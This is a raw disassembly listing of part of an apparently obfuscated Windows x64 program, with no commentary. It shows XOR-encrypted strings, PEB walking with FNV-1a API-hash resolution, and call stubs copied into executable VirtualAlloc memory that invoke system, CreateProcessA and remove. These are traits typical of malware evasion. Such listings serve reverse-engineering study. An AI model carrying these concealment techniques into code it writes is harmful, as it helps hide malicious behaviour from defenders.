mov cl, Ordinal_32
mov dl, 2
movzx r8d, cl
xor r9d, r9d
xor al, 0x7a
mov byte [rbp + 0x7f9], al
xor cl, 0x7a
mov byte [rbp + 0x7fa], cl
xor dl, 0x7a
mov byte [rbp + 0x7fb], dl
xor r8b, 0x7a
mov byte [rbp + 0x7fc], r8b
mov byte [rbp + 0x7fd], r9b
lea edx, [r9 + 8]
lea rcx, [rbp + 0xa70]
call fcn.1400584d0
nop
mov byte [rbp + 0x868], 0x78
mov cl, Ordinal_60
mov dl, 0x42
mov r8b, 0x24
mov r9b, reloc.WLDAP32.dll_Ordinal_45
mov r10b, listen
mov r11b, Ordinal_30
mov bl, 0xa
movzx edi, r10b
movzx esi, r8b
xor r14d, r14d
xor cl, 0x78
mov byte [rbp + 0x869], cl
xor dl, 0x78
mov byte [rbp + 0x86a], dl
xor r8b, 0x78
mov byte [rbp + 0x86b], r8b
xor r9b, 0x78
mov byte [rbp + 0x86c], r9b
xor r10b, 0x78
mov byte [rbp + 0x86d], r10b
xor r11b, 0x78
mov byte [rbp + 0x86e], r11b
xor bl, 0x78
mov byte [rbp + 0x86f], bl
xor dil, 0x78
mov byte [rbp + 0x870], dil
xor sil, 0x78
mov byte [rbp + 0x871], sil
mov byte [rbp + 0x872], r14b
mov r8, rax
lea rdx, [rbp + 0x869]
lea rcx, [rbp + 0xa50]
call fcn.14004b5b0
nop
lea rcx, [rbp + 0x7f9]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rcx + r8], 0
jne 0x1400634e2
lea rdx, [rbp + 0x7f9]
mov rcx, rax
call fcn.140054cc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x908], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x918], xmm1
mov rdx, rax
lea rcx, [rbp + 0x908]
call fcn.140052e30
nop
lea rcx, [rbp + 0xa50]
call fcn.14004f4c0
nop
lea rcx, [rbp + 0xa70]
call fcn.14004f4c0
lea rdx, [rbp + 0x908]
cmp qword [rbp + 0x920], 0x10
cmovae rdx, qword [rbp + 0x908]
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rcx, [rbp + 0x510]
call fcn.14004e190
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x510], r15
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x50c], edx
mov r8, qword [rbp + 0x10]
mov rdx, qword [rbp + 8]
sub r8, rdx
lea rcx, [rbp + 0x510]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x518]
call fcn.140055e50
test rax, rax
jne 0x1400635e4
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x510]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rbp + 0x370], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x378], xmm0
movups xmmword [rbp + 0x388], xmm0
movups xmmword [rbp + 0x398], xmm0
movups xmmword [rbp + 0x3a8], xmm0
movups xmmword [rbp + 0x3b8], xmm0
movups xmmword [rbp + 0x3c8], xmm0
lea rdx, [rbp + 0x908]
cmp qword [rbp + 0x920], 0x10
cmovae rdx, qword [rbp + 0x908]
lea rax, [rbp + 0x138]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x370]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400639ac
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rbx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x968]
cmp qword [rbp + 0x980], 0x10
cmovae rax, qword [rbp + 0x968]
mov qword [rbp + 0x20], rax
lea r14, [rbp + 0xc18]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r14
mov rdi, qword [r14]
xor rdi, r15
mov qword [rbp + 0x30], rdi
mov qword [r14], r12
mov ecx, r12d
lea rsi, [0x14004b9e0]
mov rax, qword [0x14014b230]
test rax, rax
je 0x140063719
mov rdx, r12
nop word [rax + rax]
cmp rax, rsi
je 0x140063708
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14b230]
test rax, rax
jne 0x1400636f0
jmp 0x140063719
mov r8, qword [r13 + rdx*8 + 0x14b550]
test r8, r8
jne 0x1400637ff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063740
mov r8, r12
jmp 0x1400637de
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140063750
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014b220]
mov qword [r13 + rax*8 + 0x14b230], rsi
mov qword [r13 + rax*8 + 0x14b550], r8
inc rax
mov qword [0x14014b220], rax
lea rdx, [rbp + 0x20]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [r14], rdi
mov rbx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rax, [rbp + 0x908]
cmp qword [rbp + 0x920], 0x10
cmovae rax, qword [rbp + 0x908]
mov qword [rbp + 0x68], rax
lea r14, [rbp + 0xc18]
mov qword [rbp + 0x298], r15
mov qword [rbp + 0x2a0], r14
mov rdi, qword [r14]
xor rdi, r15
mov qword [rbp + 0x290], rdi
mov qword [r14], r12
mov ecx, r12d
mov rax, qword [0x14014b230]
test rax, rax
je 0x140063899
mov rdx, r12
nop dword [rax]
cmp rax, rsi
je 0x140063888
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14b230]
test rax, rax
jne 0x140063870
jmp 0x140063899
mov r8, qword [r13 + rdx*8 + 0x14b550]
test r8, r8
jne 0x14006397f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400638c0
mov r8, r12
jmp 0x14006395e
mov rax, rsi
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400638d0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014b220]
mov qword [r13 + rax*8 + 0x14b230], rsi
mov qword [r13 + rax*8 + 0x14b550], r8
inc rax
mov qword [0x14014b220], rax
lea rdx, [rbp + 0x68]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [r14], rdi
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400639b6
movabs r15, 0xff00ff00ff00ff00
lea rcx, [rbp + 0x510]
call fcn.140051d90
call fcn.140059d00
mov byte [0x140149f32], al
test al, al
jne 0x140063d40
movdqa xmm1, xmmword [0x1400d9450]
movdqu xmmword [rbp + 0x670], xmm1
movdqa xmm2, xmmword [0x1400d9420]
movdqu xmmword [rbp + 0x680], xmm2
mov cl, reloc.WLDAP32.dll_Ordinal_22
mov dl, reloc.WLDAP32.dll_Ordinal_26
mov r8b, Ordinal_79
mov r10b, 0x48
mov r11b, 0x43
movzx ebx, dl
mov dil, 0x5b
mov sil, 0x5d
movzx r14d, dil
mov r15b, 0x53
mov r12b, 0x54
mov r13b, reloc.WLDAP32.dll_Ordinal_27
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r9d, xmm1
xor al, r9b
mov byte [rbp + 0x671], al
xor byte [rbp + 0x672], r9b
xor byte [rbp + 0x673], r9b
xor byte [rbp + 0x674], r9b
xor byte [rbp + 0x675], r9b
xor byte [rbp + 0x676], r9b
xor byte [rbp + 0x677], r9b
xor byte [rbp + 0x678], r9b
xor byte [rbp + 0x679], r9b
xor byte [rbp + 0x67a], r9b
xor byte [rbp + 0x67b], r9b
xor byte [rbp + 0x67c], r9b
xor byte [rbp + 0x67d], r9b
xor byte [rbp + 0x67e], r9b
xor byte [rbp + 0x67f], r9b
movd eax, xmm2
xor al, r9b
mov byte [rbp + 0x680], al
xor byte [rbp + 0x681], r9b
xor byte [rbp + 0x682], r9b
xor byte [rbp + 0x683], r9b
xor byte [rbp + 0x684], r9b
xor byte [rbp + 0x685], r9b
xor byte [rbp + 0x686], r9b
xor byte [rbp + 0x687], r9b
xor byte [rbp + 0x688], r9b
xor byte [rbp + 0x689], r9b
xor byte [rbp + 0x68a], r9b
xor byte [rbp + 0x68b], r9b
xor byte [rbp + 0x68c], r9b
xor byte [rbp + 0x68d], r9b
xor byte [rbp + 0x68e], r9b
xor byte [rbp + 0x68f], r9b
xor cl, r9b
mov byte [rbp + 0x690], cl
xor dl, r9b
mov byte [rbp + 0x691], dl
xor r8b, r9b
mov byte [rbp + 0x692], r8b
xor r10b, r9b
mov byte [rbp + 0x693], r10b
xor r11b, r9b
mov byte [rbp + 0x694], r11b
xor bl, r9b
mov byte [rbp + 0x695], bl
xor dil, r9b
mov byte [rbp + 0x696], dil
xor sil, r9b
mov byte [rbp + 0x697], sil
xor r14b, r9b
mov byte [rbp + 0x698], r14b
xor r15b, r9b
mov byte [rbp + 0x699], r15b
xor r12b, r9b
mov byte [rbp + 0x69a], r12b
xor r13b, r9b
mov byte [rbp + 0x69b], r13b
mov byte [rbp + 0x69c], 0
lea rdx, [rbp + 0x671]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400554a0
mov qword [rsp + 0x50], 0xbb8
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov dword [rbp - 0x4c], 1
lea rsi, [rbp + 0xc18]
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x158], r15
mov qword [rbp + 0x160], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x150], rdi
xor r12d, r12d
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014cb70]
lea r13, [0x140000000]
lea r14, [0x14004ba50]
test rax, rax
je 0x140063c4b
mov edx, r12d
cmp rax, r14
je 0x140063c3a
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14cb70]
test rax, rax
jne 0x140063c22
jmp 0x140063c4b
mov r8, qword [r13 + rdx*8 + 0x14ce90]
test r8, r8
jne 0x140063d2f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063c72
mov r8, r12
jmp 0x140063d0e
mov rax, r14
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140063c80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014cb60]
mov qword [r13 + rax*8 + 0x14cb70], r14
mov qword [r13 + rax*8 + 0x14ce90], r8
inc rax
mov qword [0x14014cb60], rax
lea rdx, [rbp - 0x4c]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
mov rdx, qword [rbp + 0x920]
cmp rdx, 0x10
jb 0x140063d84
inc rdx
mov rcx, qword [rbp + 0x908]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063d7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063d7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
movdqa xmm0, xmmword [0x1400d9010]
movdqu xmmword [rbp + 0x918], xmm0
mov byte [rbp + 0x908], 0
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x140063de4
mov rdx, qword [rbp + 0x18]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140063dd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140063dd3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r12
lea rcx, [rbp + 0x968]
call fcn.14004f4c0
nop
lea rcx, [rbp + 0x120]
call fcn.14004f650
jmp 0x140063e09
movabs r15, 0xff00ff00ff00ff00
movdqa xmm1, xmmword [0x1400d9460]
movdqu xmmword [rbp + 0x6d0], xmm1
mov cl, 0x64
mov r8b, WSAStartup
movzx r9d, r8b
mov r10b, 0x67
mov r11b, reloc.WS2_32.dll_WSACleanup
mov bl, 0x6d
movzx edi, bl
mov sil, 0x78
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x6d1], al
xor byte [rbp + 0x6d2], dl
xor byte [rbp + 0x6d3], dl
xor byte [rbp + 0x6d4], dl
xor byte [rbp + 0x6d5], dl
xor byte [rbp + 0x6d6], dl
xor byte [rbp + 0x6d7], dl
xor byte [rbp + 0x6d8], dl
xor byte [rbp + 0x6d9], dl
xor byte [rbp + 0x6da], dl
xor byte [rbp + 0x6db], dl
xor byte [rbp + 0x6dc], dl
xor byte [rbp + 0x6dd], dl
xor byte [rbp + 0x6de], dl
xor byte [rbp + 0x6df], dl
xor cl, dl
mov byte [rbp + 0x6e0], cl
xor r8b, dl
mov byte [rbp + 0x6e1], r8b
xor r9b, dl
mov byte [rbp + 0x6e2], r9b
xor r10b, dl
mov byte [rbp + 0x6e3], r10b
xor r11b, dl
mov byte [rbp + 0x6e4], r11b
xor bl, dl
mov byte [rbp + 0x6e5], bl
xor dil, dl
mov byte [rbp + 0x6e6], dil
xor sil, dl
mov byte [rbp + 0x6e7], sil
mov byte [rbp + 0x6e8], 0
lea rdx, [rbp + 0x6d1]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x7d0
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x838], WSAGetLastError
mov al, reloc.WS2_32.dll_ntohs
xor cl, cl
mov dl, Ordinal_32
xor r8d, r8d
xor al, 0x6c
mov byte [rbp + 0x839], al
xor cl, 0x6c
mov byte [rbp + 0x83a], cl
xor dl, 0x6c
mov byte [rbp + 0x83b], dl
mov byte [rbp + 0x83c], r8b
lea rax, [rbp + 0x839]
mov qword [rbp + 0x70], rax
lea rsi, [rbp + 0xc18]
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x178], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x168], rdi
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014c520]
lea r14, [0x14004b9e0]
test rax, rax
je 0x140063fd0
mov rdx, r12
cmp rax, r14
je 0x140063fbf
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c520]
test rax, rax
jne 0x140063fa7
jmp 0x140063fd0
mov r8, qword [r13 + rdx*8 + 0x14c840]
test r8, r8
jne 0x1400640b1
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140063ff7
mov r8, r12
jmp 0x140064090
mov rax, r14
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140064002
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014c510]
mov qword [r13 + rax*8 + 0x14c520], r14
mov qword [r13 + rax*8 + 0x14c840], r8
inc rax
mov qword [0x14014c510], rax
lea rdx, [rbp + 0x70]
mov rcx, rbx
call r8
nop
xor rdi, r15
mov qword [rsi], rdi
cmp qword [0x14014a188], 0
jne 0x1400645de
mov byte [rbp + 0x8c8], Ordinal_79
mov al, reloc.WS2_32.dll_listen
mov cl, reloc.WLDAP32.dll_Ordinal_60
mov dl, reloc.WLDAP32.dll_Ordinal_41
mov r8b, 0x34
mov r9b, 0x6c
xor r10b, r10b
movzx r11d, dl
mov bl, 0x2b
movzx edi, dl
mov sil, Ordinal_35
mov r14b, Ordinal_41
mov r15b, 0x3f
xor r12d, r12d
xor al, 0x4c
mov byte [rbp + 0x8c9], al
xor cl, 0x4c
mov byte [rbp + 0x8ca], cl
xor dl, 0x4c
mov byte [rbp + 0x8cb], dl
xor r8b, 0x4c
mov byte [rbp + 0x8cc], r8b
xor r9b, 0x4c
mov byte [rbp + 0x8cd], r9b
xor r10b, 0x4c
mov byte [rbp + 0x8ce], r10b
xor r11b, 0x4c
mov byte [rbp + 0x8cf], r11b
xor bl, 0x4c
mov byte [rbp + 0x8d0], bl
xor dil, 0x4c
mov byte [rbp + 0x8d1], dil
xor sil, 0x4c
mov byte [rbp + 0x8d2], sil
xor r14b, 0x4c
mov byte [rbp + 0x8d3], r14b
xor r15b, 0x4c
mov byte [rbp + 0x8d4], r15b
mov byte [rbp + 0x8d5], r12b
mov byte [rbp + 0x898], Ordinal_79
mov al, Ordinal_26
mov cl, reloc.WLDAP32.dll_Ordinal_46
mov dl, gethostname
mov r8b, Ordinal_60
mov r9b, 0x2a
mov r10b, reloc.WLDAP32.dll_Ordinal_60
mov r11b, 0x25
mov bl, 0x7b
movzx edi, bl
mov sil, 0x7a
xor al, 0x4b
mov byte [rbp + 0x899], al
xor cl, 0x4b
mov byte [rbp + 0x89a], cl
xor dl, 0x4b
mov byte [rbp + 0x89b], dl
xor r8b, 0x4b
mov byte [rbp + 0x89c], r8b
xor r9b, 0x4b
mov byte [rbp + 0x89d], r9b
xor r10b, 0x4b
mov byte [rbp + 0x89e], r10b
xor r11b, 0x4b
mov byte [rbp + 0x89f], r11b
xor bl, 0x4b
mov byte [rbp + 0x8a0], bl
xor dil, 0x4b
mov byte [rbp + 0x8a1], dil
xor sil, 0x4b
mov byte [rbp + 0x8a2], sil
mov byte [rbp + 0x8a3], r12b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140064296
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140064296
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x96c5cb22
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140064291
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140064270
cmp r8d, 0xd6eda74
je 0x14006429b
test r9d, r9d
jne 0x140064250
mov rax, qword [rax]
jmp 0x140064220
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
lea rdx, [rbp + 0x8c9]
lea rcx, [rbp + 0x899]
call r8
mov qword [0x14014a188], rax
test rax, rax
jne 0x1400645de
movdqa xmm1, xmmword [0x1400d9370]
movdqu xmmword [rbp + 0x620], xmm1
movdqa xmm2, xmmword [0x1400d93c0]
movdqu xmmword [rbp + 0x630], xmm2
mov r8b, 1
movzx r9d, r8b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd edx, xmm1
xor al, dl
mov byte [rbp + 0x621], al
xor byte [rbp + 0x622], dl
xor byte [rbp + 0x623], dl
xor byte [rbp + 0x624], dl
xor byte [rbp + 0x625], dl
xor byte [rbp + 0x626], dl
xor byte [rbp + 0x627], dl
xor byte [rbp + 0x628], dl
xor byte [rbp + 0x629], dl
xor byte [rbp + 0x62a], dl
xor byte [rbp + 0x62b], dl
xor byte [rbp + 0x62c], dl
xor byte [rbp + 0x62d], dl
xor byte [rbp + 0x62e], dl
xor byte [rbp + 0x62f], dl
movd eax, xmm2
xor al, dl
mov byte [rbp + 0x630], al
xor byte [rbp + 0x631], dl
xor byte [rbp + 0x632], dl
xor byte [rbp + 0x633], dl
xor byte [rbp + 0x634], dl
xor byte [rbp + 0x635], dl
xor byte [rbp + 0x636], dl
xor byte [rbp + 0x637], dl
xor byte [rbp + 0x638], dl
xor byte [rbp + 0x639], dl
xor byte [rbp + 0x63a], dl
xor byte [rbp + 0x63b], dl
xor byte [rbp + 0x63c], dl
xor byte [rbp + 0x63d], dl
xor byte [rbp + 0x63e], dl
xor byte [rbp + 0x63f], dl
xor r8b, dl
mov byte [rbp + 0x640], r8b
xor r9b, dl
mov byte [rbp + 0x641], r9b
mov byte [rbp + 0x642], r12b
lea rdx, [rbp + 0x621]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14004b350
lea rdx, [0x14004d610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], 0x1b58
lea rcx, [rsp + 0x50]
call fcn.14004de00
mov rbx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x820], 0x5a
mov al, reloc.WS2_32.dll_gethostname
mov cl, 0x36
mov dl, reloc.WLDAP32.dll_Ordinal_41
xor r8d, r8d
xor al, 0x5a
mov byte [rbp + 0x821], al
xor cl, 0x5a
mov byte [rbp + 0x822], cl
xor dl, 0x5a
mov byte [rbp + 0x823], dl
mov byte [rbp + 0x824], r8b
lea rax, [rbp + 0x821]
mov qword [rbp + 0x78], rax
movabs r15, 0xff00ff00ff00ff00
mov qword [rbp + 0x188], r15
lea rsi, [rbp + 0xc18]
mov qword [rbp + 0x190], rsi
mov rdi, qword [rsi]
xor rdi, r15
mov qword [rbp + 0x180], rdi
mov qword [rsi], r12
mov ecx, r12d
mov rax, qword [0x14014c520]
lea r14, [0x14004b9e0]
test rax, rax
je 0x1400644d9
mov rdx, r12
nop word [rax + rax]
cmp rax, r14
je 0x1400644c8
inc ecx
mov edx, ecx
mov rax, qword [r13 + rcx*8 + 0x14c520]
test rax, rax
jne 0x1400644b0
jmp 0x1400644d9
mov r8, qword [r13 + rdx*8 + 0x14c840]
test r8, r8
jne 0x1400645bf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
